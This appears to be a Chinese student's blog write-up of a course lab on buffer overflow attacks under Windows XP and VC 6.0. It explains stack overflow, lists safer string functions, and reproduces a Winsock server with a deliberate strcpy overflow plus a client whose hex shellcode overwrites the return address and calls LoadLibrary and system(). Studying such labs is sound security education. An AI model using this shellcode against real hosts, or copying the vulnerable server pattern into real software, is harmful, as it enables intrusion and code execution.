这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补。也欢迎大佬指点

一、实验目的和要求

通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。

二、实验原理和实验环境

实验原理:

缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。

缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。

例如:

#include <stdio.h>

main()

{

char string[8];

gets(string);

printf("string is %s\n", string);

}

在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。

对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖。

当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的十六进制ASCII码0x41414141作为返回地址,使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,就会发生缓冲区溢出。发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。

引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。

实验环境:

Windows XP,VC 6.0

三、实验内容及步骤 

1、打开控制台。

学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。

2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。

3新建一个C++ Source File,文件名为server,作为服务器。

4、在D盘tools文件夹下打开server文件,将里面的代码复制到建立的C++文件中。并编译构建。

#include <stdio.h>#include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, "WS2_32")void showcontent(char *buff);int main(int argc, char **argv){WSADATA wsaData;if( WSAStartup(0x101, &wsaData) != 0 ){printf("Failed Initialization.\n");return 0;}if(argc!=2){printf("Usage: server.exe [port]\n");return 0;}int port = atoi(argv[1]);SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sListen == INVALID_SOCKET){printf("Failed socket()\n");return 0;}sockaddr_in sin;sin.sin_family = AF_INET;sin.sin_port = htons(port);sin.sin_addr.S_un.S_addr = INADDR_ANY;if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR){printf("Failed bind()\n");return 0;}if (::listen(sListen, 2) == SOCKET_ERROR){printf("Failed listen()\n");return 0;}sockaddr_in remoteAddr;int nAddrLen = sizeof(remoteAddr);SOCKET sClient;char szText[] = "TCP Server is Connected!\n\n";char buff[1024] = {0};char toSend[1024] = {0};while (TRUE){sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);if (sClient == INVALID_SOCKET){printf("Failed accept()\n");continue;}printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));::send(sClient, szText, strlen(szText), 0);int nRecv = ::recv(sClient, buff, sizeof(buff), 0);if (nRecv > 0){buff[nRecv] = '\0';::closesocket(sClient);break;}}::closesocket(sListen);showcontent(buff);return 0;}void showcontent(char *buff){char content[8];strcpy(content, buff);printf("%s", content);}

5、运行程序,可以看见有server.exe应用程序,[port]是口令。

6、再新建一个C++ Source File,文件名为Client,作为客户端。

7、在D盘tools文件夹下的client文件,复制其中的代码到c++文件中,编译构建。

#include <stdio.h> #include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, "WS2_32")int main(int argc, char* *argv){WSADATA wsaData;if( WSAStartup(0x101, &wsaData) != 0 ){printf("Failed Initialization.\n");return 0;}if(argc!=3){printf("Usage: client.exe [Server_IP] [port]\n");return 0;}int port = atoi(argv[2]);SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s == INVALID_SOCKET){printf("Failed socket()\n");return 0;}sockaddr_in servAddr;servAddr.sin_family = AF_INET;servAddr.sin_port = htons(port);servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1){printf("Failed connect()\n");return 0;}char buff[1024];int nRev = ::recv(s, buff, sizeof(buff), 0);if (nRev > 0){buff[nRev] = '\0';printf("Received: %s", buff);}char toSend[] ="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x12\x45\xfa\x7f""\x55\x8b\xec""\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45""\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6""\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6""\x45\xfd\x4c\xba""\x80\x1d\x80\x7c"   //loadlibrarya"\x52\x8d\x45\xf4\x50\xf""\xff\xd0";char toSend2[] ="\x41\x42\x43\x44""\x45\x46\x47\x48""\x12\x45\xfa\x7f""\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c"\x52\x8D\x45\xF4\x50""\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"//command."\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"//      c   o   m"\x50\xB8""\x7c\xbf\x93\x77"   //System地址0x77bf93c7"\xFF\xD0";send(s, toSend, strlen(toSend), 0);::closesocket(s);return 0;}

8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。

9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。这里的IP地址是172.16.1.186

10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。

11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。

12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。

开始文件夹是隐藏的,点击“显示此文件夹内容”

13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令

“client.exe 172.16.1.186 8888”来攻击server。

14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,

表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

网络攻防实验之缓冲区溢出攻击相关推荐

  1. 实验8 缓冲区溢出攻击实验

    实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...

  2. 计算机系统(2) 实验四 缓冲区溢出攻击实验

    计算机系统(2) 实验四 缓冲区溢出攻击实验 一. 实验目标: 二.实验环境: 三.实验内容 四.实验步骤和结果 (一)返回到smoke (二)返回到fizz()并准备相应参数 (三)返回到bang( ...

  3. 【网络攻防技术】实验四——缓冲区溢出攻击实验

    文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...

  4. 网络攻防实验之模拟arp攻击

    因为我的电脑本机是连的网线,而虚拟机的网卡使用的是NAT模拟,所以虚拟机和本机就不在一个局域网里面的,就没法进行arp攻击,所以我就用两台虚拟机来进行arp攻击 (注意arp攻击是局域网攻击) arp ...

  5. 【计算机系统】缓冲区溢出攻击实验

    github地址 一. 实验目标: 理解程序函数调用中参数传递机制: 掌握缓冲区溢出攻击方法: 进一步熟练掌握GDB调试工具和objdump反汇编工具. 二.实验环境: 计算机(Intel CPU) ...

  6. 网络攻防之缓冲区溢出攻击

    什么是缓冲区溢出? 缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖.换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的 ...

  7. 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验

    缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...

  8. 网络安全实验:CCProxy缓冲区溢出攻击

    CCProxy缓冲区溢出实验 一.实验环境说明 溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet) 调试工具:CDB.WinDbg.OllyDBG.IDA Pro etc 实验环 ...

  9. 缓冲区溢出攻击实验(一)

    无聊之余,想弄一下缓冲区溢出实验,之前一直听说这个,也没有亲自动手做一下,发现真正弄起来的时候还是没那么简单的,其实学到的东西还是不少的.特此记下学习的过程. 一.基础知识 这一部分主要是关于程序内存 ...

最新文章

  1. python求最值_用Python实现最速下降法求极值的方法
  2. 注意力机制YYDS,AI编辑人脸终于告别P一处而毁全图
  3. 争建AI算力中心热潮背后:谁在花冤枉钱?
  4. 3.4 新供应商引入
  5. UVA10881蚂蚁
  6. RMAN 的备份保留策略
  7. 原型的指向是否可以改变 原型最终指向了哪里 原型指向改变如何添加方法和访问
  8. gcc和g++有什么区别?
  9. 格兰杰因果关系检验r语言_R语言系列第四期:R语言单样本双样本差异性检验
  10. nyoj_218_Dinner_201312021434
  11. Java static的使用
  12. CS231n:作业1——KNN
  13. Arduino米思齐Mixly---旋转可调灯
  14. ubuntu系统鼠标右键没有新建文档的解决方案
  15. 机器人相关的会议期刊
  16. 论文写作课程收获总结
  17. docker启动mysql报错Error starting userland proxy: listen tcp4 0.0.0.0:3306: bind: address already in use
  18. #586 – 冒泡事件和隧道事件通常是成对出现(Bubbling and Tunneling Events Are Typically Paired)
  19. Python栈的应用之二进制与十进制转换
  20. html 的页眉页脚,html – 带滚动条的页眉,页脚和内容的CSS布局

热门文章

  1. 揭秘成都Java培训班学费
  2. 武大的计算机博士,史上最牛武汉大学之博士招生黑幕
  3. mysql mysqldataadapter_MySQL的DataAdapter用法
  4. Android进阶之路 - 拉伸的弹簧效果
  5. 计算机职称证书退休工资,职称就像是一座大山,相同教龄不同职称的教师退休工资相差多少?...
  6. iview 下拉select样式_iview的select组件的列表样式和点击都无效
  7. 动物细胞无血清培养基的发展和应用
  8. 银河大百科【宇宙的数量级】
  9. 桌面云、云桌面的区别
  10. 暗潮:微信小程序第三弹:关于微信小程序吸粉方式的可行性分析